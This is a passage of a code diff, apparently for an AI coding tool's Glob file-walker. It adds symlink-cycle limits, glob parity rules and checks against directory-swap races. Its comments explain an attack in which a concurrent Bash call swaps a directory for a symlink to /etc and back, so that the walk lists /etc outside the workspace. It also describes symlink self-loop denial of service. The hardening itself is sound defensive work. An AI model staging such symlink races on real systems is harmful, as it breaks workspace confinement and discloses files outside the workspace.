1002
+ // #7916 — a `**`-free pattern never needs the ancestor refusal: its
1003
+ // matchers each consume one real path segment, so depth is bounded by the
1004
+ // pattern's length. That needs no flag here: the refusal below only applies
1005
+ // while a `**` is active in the child's index set (`hasActiveGlobstar`),
1006
+ // which a `**`-free pattern never has. Breadth is bounded by `maxEntries`
1007
+ // and the deadline, as for an acyclic symlink lattice (#7918 review).
1008
+
1009
+ function closeGlobstars(active) {
1010
+ for (let k = 0; k < m; k++) {
1011
+ if (active[k] && matchers[k] === CASE_CHECK_GLOBSTAR) active[k + 1] = true
1012
+ }
1013
+ return active
1014
+ }
1015
+
1016
+ function hasActiveGlobstar(active) {
1017
+ for (let k = 0; k < m; k++) if (active[k] && matchers[k] === CASE_CHECK_GLOBSTAR) return true
1018
+ return false
1019
+ }
1020
+
1021
+ function mergeActive(a, b) {
1022
+ return a.map((v, i) => v || b[i])
1023
+ }
1024
+
1025
+ function shouldStop() {
1026
+ return state.stop !== null || results.length >= GLOB_COLLECT_CEILING
1027
+ }
1028
+
1029
+ async function walk(dirAbs, relPrefix, active, preOpened) {
1030
+ // `preOpened` (`{dh, key, fh}`) — #7910 review round 2 (TOCTOU) — every
1031
+ // recursive call below already went through `openVerifiedDirForDescend`,
1032
+ // which opened AND identity-verified this exact directory itself;
1033
+ // opening it a SECOND time here, by path, would throw that verification
1034
+ // away and reintroduce the very race it exists to close (see that
1035
+ // function's doc). Only the top-level call (the walk's `realRoot`) arrives
1036
+ // without one and opens the root through the same function. A pre-opened handle must still be
1037
+ // closed on the early-stop path below — it is already-open regardless of
1038
+ // whether `walk` goes on to use it. `fh` (#7910 review round 3) — present
1039
+ // only on the platforms where `dh` was reopened from an already-verified
1040
+ // fd (see `openVerifiedDirForDescend`'s "ABA" doc) — must stay open for
1041
+ // exactly as long as `dh` is in use, since `dh`'s entries are read
1042
+ // through it, and is closed alongside `dh` everywhere `dh` is closed.
1043
+ if (shouldStop()) {
1044
+ if (preOpened) {
1045
+ await preOpened.dh.close().catch(() => {})
1046
+ if (preOpened.fh) await preOpened.fh.close().catch(() => {})
1047
+ }
1048
+ return
1049
+ }
1050
+ let dh = preOpened?.dh
1051
+ let key = preOpened?.key
1052
+ let fh = preOpened?.fh
1053
+ if (!dh) {
1054
+ // The top-level (root) call. `dirAbs` is the canonical path the caller
1055
+ // validated. The root is opened like any other directory: no-follow open, identity from the opened
1056
+ // descriptor, and (where the platform has /proc/self/fd) listing and
1057
+ // child lookups through that descriptor. Its key is registered so a
1058
+ // symlink ANYWHERE in the tree that resolves back to it is also caught
1059
+ // as a cycle, not just a loop among its descendants (#7910 review
1060
+ // round 2).
1061
+ const rootOpen = await openVerifiedDirForDescend(
1062
+ dirAbs, '', realRoot, cwdRealCache, cwdCacheTtl, true, visitedDirs, dirKey, __testDescendSeam, __testForcePathFallback, null,
1063
+ )
1064
+ if (!rootOpen) return
1065
+ dirAbs = rootOpen.path
1066
+ dh = rootOpen.dh
1067
+ key = rootOpen.key
1068
+ fh = rootOpen.fh
1069
+ }
1070
+ // Only the call that ADDED the key may remove it. A re-entry into an
1071
+ // ancestor (a crossing, or a `**`-free chain) arrives with the key already
1072
+ // held by the call further up the path; deleting it on the way out would
1073
+ // leave the parent still inside that directory with no guard, and every
1074
+ // later sibling link would read `ancestor: false` (measured: 3 self-loops
1075
+ // under `**/[abc]/**` went 6ms -> a 30s deadline).
1076
+ const ownsKey = !visitedDirs.has(key)
1077
+ visitedDirs.add(key)
1078
+ try {
1079
+ for await (const dirent of dh) {
1080
+ if (shouldStop()) return
1081
+ state.visited++
1082
+ if (state.visited > maxEntries) { state.stop = 'too many entries'; return }
1083
+
1084
+ const name = dirent.name
1085
+ const next = new Array(m + 1).fill(false)
1086
+ const isSymlink = dirent.isSymbolicLink()
1087
+ // #7916 — see `crossSet`'s doc below.
1088
+ const crossSet = new Array(m + 1).fill(false)
1089
+ let canCross = false
1090
+ // `detHandoff[k+1]` — #7910 review — true when `next[k+1]` was set
1091
+ // THIS STEP by a determinate, non-globstar segment explicitly
1092
+ // matching `name` (as opposed to a `**`'s own absorption, or a
1093
+ // non-determinate `*`/`?` match). Drives both call sites below.
1094
+ const detHandoff = new Array(m + 1).fill(false)
1095
+ // Did the TRAILING globstar (if any) legitimately absorb THIS entry's
1096
+ // own name via its dot-guarded absorption test? If so, it consumed
1097
+ // the entry itself and needs no determinate source to close on it —
1098
+ // see the closure-gate doc below.
1099
+ let globstarAbsorbedLast = false
1100
+ for (let k = 0; k < m; k++) {
1101
+ if (!active[k]) continue
1102
+ if (matchers[k] === CASE_CHECK_GLOBSTAR) {
1103
+ // #7912 — `**` does not, in general, absorb a hidden entry (see
1104
+ // parseSegmentTokens's DOT HANDLING doc; matches fs.glob's own
1105
+ // default of never listing a dotfile/dotdir at any depth for a
1106
+ // BARE `**`). The one exception, verified directly against Node
1107
+ // 22's `glob()` (`internal/fs/glob.js`'s own GLOBSTAR handling —
1108
+ // `isDot`/`matchesDot`/`nextNonGlobIndex`): a dot-named entry IS
1109
+ // visible to `**` when the pattern segment immediately following
1110
+ // this run of `**`s (skipping over any further `**`s —
1111
+ // `nextNonGlobstar[k]`, precomputed above) EXPLICITLY matches
1112
+ // that entry's own name. This is why `**/.*` finds
1113
+ // `.hidden/.deepdot` (`.*` matches both `.hidden`, letting `**`
1114
+ // cross it, and then `.deepdot` two levels down) while
1115
+ // `**/.deepdot` (a plain literal tail) finds nothing (`.deepdot`
1116
+ // the literal does not equal `.hidden`, so `**` never even
1117
+ // crosses into it to look) and `**/*` never crosses any dot
1118
+ // directory at all (a bare `*` never matches a dot name — see
1119
+ // the acceptance note on `walkGlob`'s doc). A trailing `**` (no
1120
+ // segment after it, `nextNonGlobstar[k] === m`) always keeps the
1121
+ // original, unconditional refusal — there is no "next segment"
1122
+ // to grant the exception.
1123
+ const dotOk = name[0] !== '.' || (
1124
+ nextNonGlobstar[k] < m && segmentMatches(matchers[nextNonGlobstar[k]], name)
1125
+ )
1126
+ if (dotOk) {
1127
+ next[k] = true
1128
+ if (k === m - 1) globstarAbsorbedLast = true
1129
+ // #7916 — `crossSet`: Node 22's `glob()` (read directly,
1130
+ // `internal/fs/glob.js`, the GLOBSTAR arm) lets a `**` followed
1131
+ // by more pattern descend a SYMLINKED directory whose own name
1132
+ // the very next segment matches, handing the symlink's children
1133
+ // that next segment again — and ONLY it: the `**` itself is not
1134
+ // carried into the symlink (`**/*` finds `src-link/index.ts`,
1135
+ // `**/*/*` finds `src-link/utils/helper.ts`, `**/index.ts` and
1136
+ // `*/*` find nothing under it). The index set is therefore
1137
+ // `{k+1}` alone, never `next`. That is also what bounds it: a
1138
+ // crossing needs a `**` at k, and the child no longer has one
1139
+ // at k, so each crossing along a path starts from a strictly
1140
+ // later `**` than the last — at most one per `**` in the
1141
+ // pattern, which is why a crossing may re-enter an ancestor
1142
+ // (`**/*` through `sub/selfloop -> .`, which fs.glob also
1143
+ // finds) where the persisting-`**` descent below may not.
1144
+ // That bounds DEPTH only. Fan-out (many links, many
1145
+ // directories) is bounded by the same limits as before: the
1146
+ // deadline and `maxEntries`.
1147
+ // Containment is untouched: the descent below is the same
1148
+ // `validateRawPathWithinCwd` + `openVerifiedDirForDescend` one.
1149
+ if (isSymlink && k + 1 < m && matchers[k + 1] !== CASE_CHECK_GLOBSTAR && segmentMatches(matchers[k + 1], name)) {
1150
+ crossSet[k + 1] = true
1151
+ canCross = true
1152
+ }
1153
+ }
1154
+ } else if (segmentMatches(matchers[k], name)) {
1155
+ next[k + 1] = true
1156
+ if (determinateSegment[k]) detHandoff[k + 1] = true
1157
+ }
1158
+ }
1159
+ closeGlobstars(next)
1160
+
1161
+ // #7901 round 2 (Windows parity) — `join()`, not a hardcoded `/`, so
1162
+ // the result carries the PLATFORM-native separator (`\` on Windows),
1163
+ // matching what the pre-#7901 walk returned via `path.relative()`
1164
+ // (also platform-native) rather than silently switching Windows Glob
1165
+ // results from `sub\file.ts` to `sub/file.ts`. `join('', name)`
1166
+ // collapses to plain `name` (verified: no leading separator), so this
1167
+ // needs no separate empty-prefix branch.
1168
+ const relPath = join(relPrefix, name)
1169
+ let childAbs
1170
+ if (isSymlink) {
1171
+ let resolved
1172
+ try {
1173
+ resolved = await validateRawPathWithinCwd(relPath, realRoot, cwdRealCache, cwdCacheTtl)
1174
+ } catch {
1175
+ resolved = null // FAIL CLOSED — ELOOP, EACCES, etc. withhold, never trust
1176
+ }
1177
+ if (!resolved || !resolved.valid) continue
1178
+ childAbs = resolved.realPath
1179
+ } else {
1180
+ childAbs = join(dirAbs, name)
1181
+ }
1182
+
1183
+ // SECURITY/DoS (#7910 review, item 3 — corrected in round 2) — a
1184
+ // TRAILING `**` closing with ZERO width (matching no real segment of
1185
+ // its own) onto a NON-directory entry is only valid when the entry
1186
+ // that immediately precedes the close was named by a DETERMINATE
1187
+ // segment (verified directly: `plainfile.txt/**`/`[p]lainfile.txt/**`
1188
+ // match a plain FILE `plainfile.txt`; `pl?infile.txt/**`/`*.txt/**`
1189
+ // do not — same rule for a symlink: `[f]ile-link.txt/**` matches a
1190
+ // symlink to a FILE exactly like a plain file does, verified
1191
+ // directly) — or when the globstar legitimately ABSORBED this
1192
+ // entry's own name via its own dot-guarded test
1193
+ // (`globstarAbsorbedLast`; that case needs no gate at all, since the
1194
+ // entry was genuinely consumed as a real segment, file or directory,
1195
+ // same as any ordinary `**` leaf match — `sub/**` finding a plain
1196
+ // file `sub/file.ts` is completely ordinary). A PLAIN directory
1197
+ // entry never needs the determinate check at all: `**` matching
1198
+ // zero of a real directory's contents is always well-formed,
1199
+ // determinate or not. A SYMLINK entry is NOT automatically
1200
+ // "dir-like" the way round 2's original `isDirLike =
1201
+ // dirent.isDirectory() || dirent.isSymbolicLink()` treated it — that
1202
+ // unconditionally exempted EVERY symlink from this gate regardless
1203
+ // of what named it, letting `*/**`/`?rc-link/**`/`[s]*-link/**` (all
1204
+ // NON-determinate — `[s]*-link` contains a bare `*` token, so
1205
+ // `isDeterminateSegmentTokens` correctly still calls the whole
1206
+ // segment non-determinate) spuriously close zero-width onto a
1207
+ // symlinked directory, and `*.txt/**` onto a symlinked FILE, none of
1208
+ // which real `fs.glob` does (verified directly: all four give zero
1209
+ // matches). Unlike the DESCEND decision below, target type (file vs
1210
+ // directory) does NOT gate this closure — `detHandoff[m-1]` alone
1211
+ // is the exact line `fs.glob` draws here, same as a plain file.
1212
+ if (next[m] && m >= 1 && matchers[m - 1] === CASE_CHECK_GLOBSTAR && !globstarAbsorbedLast) {
1213
+ const closesWithZeroWidth = isSymlink ? detHandoff[m - 1] : (dirent.isDirectory() || detHandoff[m - 1])
1214
+ if (!closesWithZeroWidth) next[m] = false
1215
+ }
1216
+
1217
+ // SECURITY/parity (#7910 review round 2; refined #7917) — a pattern
1218
+ // ending in `/` (`directoryOnly`, from `runGlob`) means directories
1219
+ // only. For an ORDINARY entry this is `dirent.isDirectory()`,
1220
+ // matching `fs.glob` exactly: verified directly, a symlink pointing
1221
+ // AT a directory reached only by a NON-determinate segment (`*/`,
1222
+ // `?irlink/`) is still excluded — same as a plain file. #7917 — but
1223
+ // verified directly, `fs.glob`'s own trailing-slash filter draws a
1224
+ // SECOND distinction its own source (`internal/fs/glob.js`'s
1225
+ // `Pattern#isLast`/the literal-string result branch) does not apply
1226
+ // any directory check to at all: a symlink named by a DETERMINATE
1227
+ // segment (`src-link/`, `[d]irlink/`, even `filelink.txt/` — a
1228
+ // symlink to a plain FILE) is matched with NO type check whatsoever,
1229
+ // not even "does the target resolve to a directory". `detHandoff[m]`
1230
+ // (already computed above, per entry, for the zero-width-closure
1231
+ // gate) is exactly "was this entry's own name matched THIS step by a
1232
+ // determinate, non-globstar segment", so it is reused here rather
1233
+ // than re-derived.
1234
+ if (next[m] && (!directoryOnly || dirent.isDirectory() || (isSymlink && detHandoff[m]))) results.push(relPath)
1235
+ if (shouldStop()) return
1236
+
1237
+ let canContinuePattern = false
1238
+ for (let k = 0; k < m; k++) { if (next[k]) { canContinuePattern = true; break } }
1239
+ // SECURITY/DoS (#7910 review, item 1) — a SYMLINKED directory is only
1240
+ // descended into when SOME active, non-globstar, DETERMINATE segment
1241
+ // explicitly matched this entry's name this step (`detHandoff`).
1242
+ // Verified directly against Node 22's `glob()`: `src-link/*`,
1243
+ // `src-link/**`, `[s]rc-link/*`, `{src-link,x}/*` all follow a
1244
+ // symlinked `src-link`; `?rc-link/*`, `*/*` do not. A symlinked
1245
+ // directory reached ONLY via `**` absorption (bare `**`, never
1246
+ // descends past a symlink — the standard reason `**` needs symlink
1247
+ // protection at all, to bound recursion) or ONLY via a
1248
+ // non-determinate wildcard is listed as a match above but never
1249
+ // opened — this is also what makes a symlink self-loop (`a -> .`)
1250
+ // terminate after exactly the literal-segment chain the PATTERN
1251
+ // itself spells out, rather than being re-discovered at every `**`
1252
+ // depth. A plain (non-symlink) directory is unaffected — recursing
1253
+ // into an ordinary directory carries no symlink risk regardless of
1254
+ // how it was reached.
1255
+ const canDescendSymlink = !isSymlink || detHandoff.slice(0, m).some(Boolean)
1256
+ const descendNext = canContinuePattern && canDescendSymlink && (dirent.isDirectory() || isSymlink)
1257
+ if (descendNext || canCross) {
1258
+ // SECURITY (review of #7901 round 2, TOCTOU) — `childAbs` (for a
1259
+ // symlink-flagged entry, `resolved.realPath` from the
1260
+ // `validateRawPathWithinCwd` call above; for a plain-directory-
1261
+ // flagged one, a plain `join`) is a DECISION, not a proof that
1262
+ // survives to the `opendir` about to happen — some real time still
1263
+ // elapses between deciding "this is what we'd open" and actually
1264
+ // opening it (at minimum, the `await` boundary below; `dirent`'s
1265
+ // own type can already be stale before this line even runs, see
1266
+ // `openVerifiedDirForDescend`'s doc). Route through it rather than
1267
+ // opening `childAbs` directly, so the open and the LAST identity
1268
+ // check that vouches for it are inseparable — no path is ever
1269
+ // handed back for a caller to re-resolve blind.
1270
+ const descend = await openVerifiedDirForDescend(
1271
+ childAbs, relPath, realRoot, cwdRealCache, cwdCacheTtl, isSymlink, visitedDirs, dirKey, __testDescendSeam, __testForcePathFallback,
1272
+ { path: dirAbs, key, fh, name },
1273
+ )
1274
+ if (descend) {
1275
+ // An ancestor re-entry is only refused while a `**` would persist
1276
+ // into it (the round-2 DoS shape); a set with no `**` in it
1277
+ // advances the pattern at every hop and is bounded by its length,
1278
+ // so it is allowed (`**/selfloop/*`). Otherwise keep only the
1279
+ // crossing's own indices, if any.
1280
+ const merged = descendNext ? mergeActive(next, crossSet) : crossSet
1281
+ const childActive = !descend.ancestor || !hasActiveGlobstar(merged) ? merged : (canCross ? crossSet : null)
1282
+ if (childActive) await walk(descend.path, relPath, childActive, { dh: descend.dh, key: descend.key, fh: descend.fh })
1283
+ else {
1284
+ await descend.dh.close().catch(() => {})
1285
+ if (descend.fh) await descend.fh.close().catch(() => {})
1286
+ }
1287
+ }
1288
+ }
1289
+ }
1290
+ } finally {
1291
+ if (ownsKey) visitedDirs.delete(key)
1292
+ await dh.close().catch(() => {})
1293
+ if (fh) await fh.close().catch(() => {})
1294
+ }
1295
+ }
1296
+
1297
+ const initial = new Array(m + 1).fill(false)
1298
+ initial[0] = true
1299
+ closeGlobstars(initial)
1300
+ await walk(realRoot, '', initial)
1301
+ }
1302
+
1303
+ /**
1304
+ * SECURITY (review of #7901 round 3, the ABA hole in round 2's identity
1305
+ * check) — open AND identity-verify a directory for `walk` to descend into,
1306
+ * for EITHER a symlink-flagged entry or a plain-directory-flagged one.
1307
+ *
1308
+ * ── The hole round 2 left open ──────────────────────────────────────────
1309
+ *
1310
+ * Round 2 (`lstat(target)` → `opendir(target)` → `lstat(target)` again →
1311
+ * compare dev/ino of the two `lstat`s) verified the PATH, twice, but never
1312
+ * inspected the object `opendir` actually opened. That is an ABA gap, not a
1313
+ * check-then-use gap: an attacker who (1) swaps `target` for a symlink to
1314
+ * `/etc` between the pre-open `lstat` and `opendir` — so `opendir` follows
1315
+ * it and returns a `Dir` for `/etc` — and then (2) swaps the real directory
1316
+ * BACK before the post-open `lstat` runs, sails through both comparisons:
1317
+ * both `lstat`s see the legitimate directory, dev/ino match, and the
1318
+ * already-`/etc`-bound `Dir` is handed to `walk` and iterated, disclosing
1319
+ * `/etc`'s entries under a workspace-looking `relPath`. Chroxy's concurrent
1320
+ * per-turn tool dispatch (`byok-session.js`'s `Promise.all`, #7356) gives an
1321
+ * attacker-controlled Bash call approved in the same turn the real time to
1322
+ * land both swaps while a Glob walk is busy elsewhere in the tree.
1323
+ *
1324
+ * ── The fix: verify the OPENED object, not the path ─────────────────────
1325
+ *
1326
+ * `openNoFollow` (`ws-file-ops/open-nofollow.js`, #7280 — the one
1327
+ * symlink-refusing `open()` for this codebase) opens `target` with
1328
+ * `O_DIRECTORY` and, on every platform it can, `O_NOFOLLOW` enforced
1329
+ * ATOMICALLY by the kernel: if a symlink sits at `target` at the instant of
1330
+ * this call — including the ABA's first swap — the open fails outright,
1331
+ * `ELOOP`, before anything is read. There is no window afterward in which
1332
+ * "swapping back" can retroactively legitimize an open that never happened.
1333
+ * The returned `FileHandle` is then `fstat`ed (`{ bigint: true }`, on the fd
1334
+ * itself — not a fresh `lstat` by path) and compared to the PRE-open
1335
+ * `lstat`: this is the identity of what was actually opened, not of
1336
+ * whatever currently sits at the path, which is exactly what round 2's
1337
+ * two-`lstat` comparison was missing. This closes the described attack
1338
+ * fully — no "swap back" step is ever reachable, because step 1 alone
1339
+ * already fails closed.
1340
+ *
1341
+ * ── Listing: reusing the verified fd where the platform allows it ───────
1342
+ *
1343
+ * `fs.promises.opendir` accepts only a path, never an fd (verified
1344
+ * directly: passing one throws `ERR_INVALID_ARG_TYPE`), so getting `Dir`
1345
+ * entries FROM the already-verified handle — rather than a second, path-based
1346
+ * open that reintroduces a (smaller) version of the same race — needs an
1347
+ * OS-level trick. On **Linux**, `opendir('/proc/self/fd/' + fh.fd)` reopens
1348
+ * through the SAME open file description via the kernel's magic-symlink
1349
+ * `/proc` entries — verified directly (Docker `node:22-alpine`): entries
1350
+ * read this way match the directory at open time even after the original
1351
+ * path is renamed aside and replaced with a symlink to an attacker
1352
+ * directory afterward, i.e. it is bound to the fd, not re-resolved by path.
1353
+ * `fh` is kept open for as long as `dh` is (see `walk`'s `preOpened.fh`) —
1354
+ * closing it early would invalidate the magic-symlink target.
1355
+ *
1356
+ * **macOS has no equivalent** — verified empirically on this exact host,
1357
+ * both via Node (`fs.promises.opendir('/dev/fd/' + fh.fd)`) and via a plain
1358
+ * shell (`ls -la /dev/fd/N` on an fd opened by `exec N< dir`): both fail
1359
+ * `ENOTDIR`, even though `stat()` of that same `/dev/fd/N` path correctly
1360
+ * reports it as a directory. This is a devfs limitation (macOS's `/dev/fd`
1361
+ * dup-on-open only supports regular files), not a Node bug, and `fs.Dir`
1362
+ * exposes no fd a caller could `fstat`/rebind through any other public API.
1363
+ * **Windows has no `/proc`-like construct at all.** On both, listing falls
1364
+ * back to a second, path-based `opendir(target)`, immediately followed by
1365
+ * round 2's original post-open `lstat`-compare (kept, not removed — same
1366
+ * fail-closed-on-any-mismatch shape as before).
1367
+ *
1368
+ * The `openNoFollow` check refuses a link at `target` on every platform. The
1369
+ * fallback's own `opendir(target)` takes no flags, so it is followed
1370
+ * immediately by the `lstat`-compare above, and its entries are verified by
1371
+ * {@link verifyEntriesUnderParent}.
1372
+ *
1373
+ * `isKnownSymlink` — true when `dirent` was ALREADY flagged as a symlink at
1374
+ * listing time and `candidateAbs` is therefore already the confinement-
1375
+ * validated `resolved.realPath` from the `validateRawPathWithinCwd` call in
1376
+ * `walk` (skips the redundant re-lstat-and-resolve below; the pre-open
1377
+ * identity check still runs against the resolved target). False for a
1378
+ * plain-directory-flagged entry, where `candidateAbs` has not been
1379
+ * re-checked since `dirent` was read and may itself now BE a symlink — that
1380
+ * case is routed through the same `validateRawPathWithinCwd` confinement
1381
+ * check the originally-flagged-symlink branch already has, rather than
1382
+ * trusted on `dirent`'s stale word. Either way, both branches funnel into
1383
+ * the SAME `openNoFollow`-based verified-open below — there is exactly one
1384
+ * implementation of "open and verify", not two.
1385
+ *
1386
+ * Parent (`parent`: the directory `walk` is inside, with its dev:ino key and,
1387
+ * where it has one, its verified fd; null for the walk's root). A child is
1388
+ * resolved against that directory, not against its path:
1389
+ * - Linux (`DIR_FD_REOPEN_SUPPORTED`), plain child, parent held open: looked
1390
+ * up and opened as `/proc/self/fd/<parentfd>/<name>`.
1391
+ * - Every other open (the root, a link entry, other platforms, the forced
1392
+ * fallback): after the open, `confirmEntryStillInside` confirms the
1393
+ * directory is still the one verified.
1394
+ * The root is canonicalized and opened here too, so it has a held fd and its
1395
+ * children use the first form where the platform allows.
1396
+ *
1397
+ * `__testSeam(target, phase, names?)`, if given, is the ONLY way to hit any of
1398
+ * these phases deterministically in a test; a real concurrent race is flaky
1399
+ * by construction (see the test file). On every platform it is awaited at
1400
+ * these phases: `'before-stat'` immediately before the lstat of a resolved link
1401
+ * target; `'before-open'` immediately before the `openNoFollow` call
1402
+ * (the pre-open check-to-open window); `'after-open'` (#7910 review round 3)
1403
+ * immediately after `openNoFollow` + the fstat-identity check have PASSED and
1404
+ * before entries are read — proving a swap landing AFTER a successful,
1405
+ * verified open does not retroactively corrupt what was already opened; and
1406
+ * `'after-verify'` immediately before the already-open `Dir` is returned to
1407
+ * `walk`. The path-based fallback (#7919) adds three more: `'after-opendir'`,
1408
+ * between its `opendir(target)` and the lstat re-check that follows it, and,
1409
+ * once per verification round inside {@link verifyEntriesUnderParent},
1410
+ * `'before-entry-verify'` and `'after-entry-lstat'` — those two also receive
1411
+ * the round's entry names as the third argument.
1412
+ *
1413
+ * SECURITY/DoS (#7910 review round 2) — `visitedDirs`/`dirKey` add a SECOND,
1414
+ * independent check alongside the identity one above: once the open is
1415
+ * verified, its `dev:ino` is checked against the set of real directories
1416
+ * already on the CURRENT descent path (root down to the caller). A hit
1417
+ * means this entry's real target is its OWN ancestor — an actual symlink
1418
+ * cycle (`selfloop -> .`), not merely a diamond (the same real directory
1419
+ * reached twice via two separate, non-overlapping symlinks, which is NOT
1420
+ * refused, since `visitedDirs` is path-scoped by `walk`'s own push/pop, not
1421
+ * global to the whole walk). Refusing here, BEFORE `walk` ever touches this
1422
+ * `Dir`'s entries, is what closes the DoS `walkGlob`'s existing
1423
+ * `detHandoff`/`canDescendSymlink` gate does not: that gate answers "was
1424
+ * this entry named by a determinate segment", which a self-loop's REPEATING
1425
+ * name satisfies at every depth it is encountered, forever — see `walkGlob`'s
1426
+ * `visitedDirs` doc for the measured blowup this replaces.
1427
+ *
1428
+ * Ancestor re-entry (#7916) — the result carries `ancestor: true` when the
1429
+ * opened directory is already on the current descent path (`visitedDirs`),
1430
+ * and the refusal is the CALLER's: `walk` refuses it only while a `**` would
1431
+ * persist into the child (`hasActiveGlobstar`), because a child whose index
1432
+ * set has no `**` advances the pattern at every hop and is bounded by the
1433
+ * pattern's length (`sub/selfloop/file.txt`, a `**` crossing). Depth only:
1434
+ * fan-out is bounded by the deadline and `maxEntries`. On `ancestor: true`
1435
+ * the handles are still open and the caller must close them.
1436
+ *
1437
+ * `dh` is a real `fs.Dir` on Linux, and on the macOS/win32 fallback the
1438
+ * Dir-shaped verifyEntriesUnderParent wrapper: async-iterable, `close()`,
1439
+ * yielding `{ name, isDirectory(), isSymbolicLink(), isFile() }` typed from the
1440
+ * verified lstat. `walk` uses only that shared surface.
1441
+ *
1442
+ * @returns {Promise<{dh: import('fs/promises').Dir | VerifiedDirLike, path: string, key: string, fh: import('fs/promises').FileHandle|null, ancestor: boolean}|null>}
1443
+ */
1444
+ const DIR_FD_REOPEN_SUPPORTED = process.platform === 'linux'
1445
+
1446
+ /**
1447
+ * Confirms, after a by-path open, that the directory is still the one verified:
1448
+ * - child entry: the parent directory the walk is inside is a non-link
1449
+ * directory with the dev:ino it was verified with, and the entry's relative
1450
+ * path resolves inside the workspace component by component
1451
+ * (`validateRawPathWithinCwd`);
1452
+ * - root (`parent` null): the opened descriptor is the directory the path
1453
+ * names now. Where `/proc/self/fd` exists the kernel's name for the
1454
+ * descriptor must equal the path; on every platform the canonical path
1455
+ * must still name itself and a fresh lstat of the path must have the
1456
+ * descriptor's dev:ino.
1457
+ * Fails closed on any error.
1458
+ */
1459
+ export async function confirmEntryStillInside(target, relPath, realRoot, cwdRealCache, cwdCacheTtl, parent, dirKey, opened) {
1460
+ try {
1461
+ if (parent === null) {
1462
+ if (DIR_FD_REOPEN_SUPPORTED && (await readlink(`/proc/self/fd/${opened.fh.fd}`)) !== target) return false
1463
+ if ((await realpath(target)) !== target) return false
1464
+ const fresh = await lstat(target, { bigint: true })
1465
+ return isVerifiedDirIdentity(fresh, opened.stat)
1466
+ }
1467
+ const [st, resolved] = await Promise.all([
1468
+ lstat(parent.path, { bigint: true }),
1469
+ validateRawPathWithinCwd(relPath, realRoot, cwdRealCache, cwdCacheTtl),
1470
+ ])
1471
+ // `parent` carries a key, not a stat, so this compares keys rather than
1472
+ // reusing isStillVerifiedDir.
1473
+ if (st.isSymbolicLink() || !st.isDirectory() || st.ino === 0n || dirKey(st) !== parent.key) return false
1474
+ return !!resolved && resolved.valid === true
1475
+ } catch {
1476
+ return false
1477
+ }
1478
+ }
1479
+ // #7919 — entries the fallback verifies per round (see verifyEntriesUnderParent),
1480
+ // which is also the most names one timed double swap can disclose. Measured on
1481
+ // macOS, `**/*` over 5,050 entries (median of 5): 15ms with no verification,
1482
+ // 117ms verifying one entry at a time (two serial lstats each), 41ms at 8,
1483
+ // 33ms at 32, 31ms at 128.
1484
+ const FALLBACK_VERIFY_BATCH = 32
1485
+
1486
+ async function openVerifiedDirForDescend(candidateAbs, relPath, realRoot, cwdRealCache, cwdCacheTtl, isKnownSymlink, visitedDirs, dirKey, __testSeam, __testForcePathFallback = false, parent = null) {
1487
+ let target = candidateAbs
1488
+ let preStat = null
1489
+ // A plain entry is opened relative to the parent's verified descriptor where
1490
+ // the platform can (Linux), so the parent's path is never resolved again.
1491
+ // `openPath` is what is handed to the kernel; `target` stays the logical path.
1492
+ const pinnedToParent = !isKnownSymlink && !!parent?.fh && DIR_FD_REOPEN_SUPPORTED && !__testForcePathFallback
1493
+ const openPath = pinnedToParent ? `/proc/self/fd/${parent.fh.fd}/${parent.name}` : candidateAbs
1494
+ // Anything not opened relative to a held parent descriptor is confirmed
1495
+ // after the open (see `confirmEntryStillInside`).
1496
+ const recheckAfterOpen = !pinnedToParent
1497
+ if (!isKnownSymlink) {
1498
+ try {
1499
+ preStat = await lstat(openPath, { bigint: true })
1500
+ } catch {
1501
+ return null // gone since it was listed — nothing to descend into
1502
+ }
1503
+ if (preStat.isSymbolicLink()) {
1504
+ // Became a symlink since `dirent` was read — resolve+confine it exactly
1505
+ // like the originally-flagged-symlink branch in `walk` does, instead of
1506
+ // trusting `candidateAbs` as a plain directory.
1507
+ let resolved
1508
+ try {
1509
+ resolved = await validateRawPathWithinCwd(relPath, realRoot, cwdRealCache, cwdCacheTtl)
1510
+ } catch {
1511
+ resolved = null // FAIL CLOSED — ELOOP, EACCES, etc.
1512
+ }
1513
+ if (!resolved || !resolved.valid) return null
1514
+ target = resolved.realPath
1515
+ preStat = null // that lstat was for the OLD path — the resolved target needs its own
1516
+ } else if (!preStat.isDirectory()) {
1517
+ return null // no longer a directory (e.g. swapped for a plain file) — nothing to open
1518
+ }
1519
+ }
1520
+
1521
+ if (!preStat) {
1522
+ if (__testSeam) await __testSeam(target, 'before-stat')
1523
+ try {
1524
+ preStat = await lstat(target, { bigint: true })
1525
+ } catch {
1526
+ return null
1527
+ }
1528
+ if (preStat.isSymbolicLink() || !preStat.isDirectory()) return null
1529
+ }
1530
+
1531
+ if (__testSeam) await __testSeam(target, 'before-open')
1532
+
1533
+ // The ABA fix: open with O_NOFOLLOW|O_DIRECTORY (atomic on every platform
1534
+ // `openNoFollow` supports — real kernel enforcement on POSIX, a
1535
+ // check-open-recheck emulation on win32) and verify identity against the
1536
+ // pre-open `lstat` via `fstat` ON THE OPENED HANDLE, never a fresh `lstat`
1537
+ // by path. See the doc above for exactly why this closes the round-2 gap.
1538
+ let fh
1539
+ try {
1540
+ fh = await openNoFollow(pinnedToParent ? openPath : target, fsConstants.O_RDONLY | fsConstants.O_DIRECTORY)
1541
+ } catch {
1542
+ return null // symlink, gone, or otherwise unopenable at this instant — FAIL CLOSED
1543
+ }
1544
+ let openedStat
1545
+ try {
1546
+ openedStat = await fh.stat({ bigint: true })
1547
+ } catch {
1548
+ await fh.close().catch(() => {})
1549
+ return null
1550
+ }
1551
+ if (!isVerifiedDirIdentity(openedStat, preStat)) {
1552
+ // The object actually opened is not the one we checked — withhold
1553
+ // rather than trust it. Nothing has been read from it yet.
1554
+ await fh.close().catch(() => {})
1555
+ return null
1556
+ }
1557
+
1558
+ if (recheckAfterOpen && __testSeam) await __testSeam(target, 'before-confirm')
1559
+ if (recheckAfterOpen && !(await confirmEntryStillInside(target, relPath, realRoot, cwdRealCache, cwdCacheTtl, parent, dirKey, { fh, stat: openedStat }))) {
1560
+ await fh.close().catch(() => {})
1561
+ return null
1562
+ }
1563
+
1564
+ if (__testSeam) await __testSeam(target, 'after-open')
1565
+
1566
+ const key = dirKey(openedStat)
1567
+ // Cycle: this real directory is already an ancestor on the CURRENT descent
1568
+ // path (#7910 review round 2, DoS). Not a diamond — a diamond's target is
1569
+ // not yet in `visitedDirs` because `walk` only holds a key while it is
1570
+ // actively inside that directory (or one of its descendants), never after
1571
+ // backtracking out of it. The refusal itself is the
1572
+ // CALLER's (`ancestor: true` on the result, handles still open for it to
1573
+ // close): a re-entry that only a symlink-crossing `**` asked for is bounded
1574
